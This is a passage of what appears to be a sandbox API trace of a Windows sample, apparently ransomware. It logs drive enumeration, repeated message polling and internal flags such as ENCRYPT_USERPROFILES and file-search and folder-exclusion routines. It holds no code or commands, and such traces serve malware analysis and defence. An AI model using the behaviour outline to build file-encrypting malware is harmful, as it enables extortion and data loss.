lpMsg=0xe8f3dff7a0) returned 0 [0019.745] CharLowerBuffW (in: lpsz="ALL", cchLength=0x3 | out: lpsz="all") returned 0x3 [0019.745] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0019.749] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0019.752] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0019.752] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0019.756] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0019.760] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0019.763] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0019.767] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0019.770] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0019.774] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0019.778] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0019.781] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0019.785] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0019.788] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0019.792] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0019.795] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0019.799] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0019.803] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0019.806] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0019.810] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0019.813] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0019.817] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0019.821] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0019.825] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0019.828] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0019.832] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0019.835] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.835] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.835] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0019.835] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.836] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.836] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0019.836] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.840] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.840] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.840] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.841] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.842] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.842] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dfe9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9e0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.843] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.844] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0019.844] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0019.844] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.844] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.845] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: 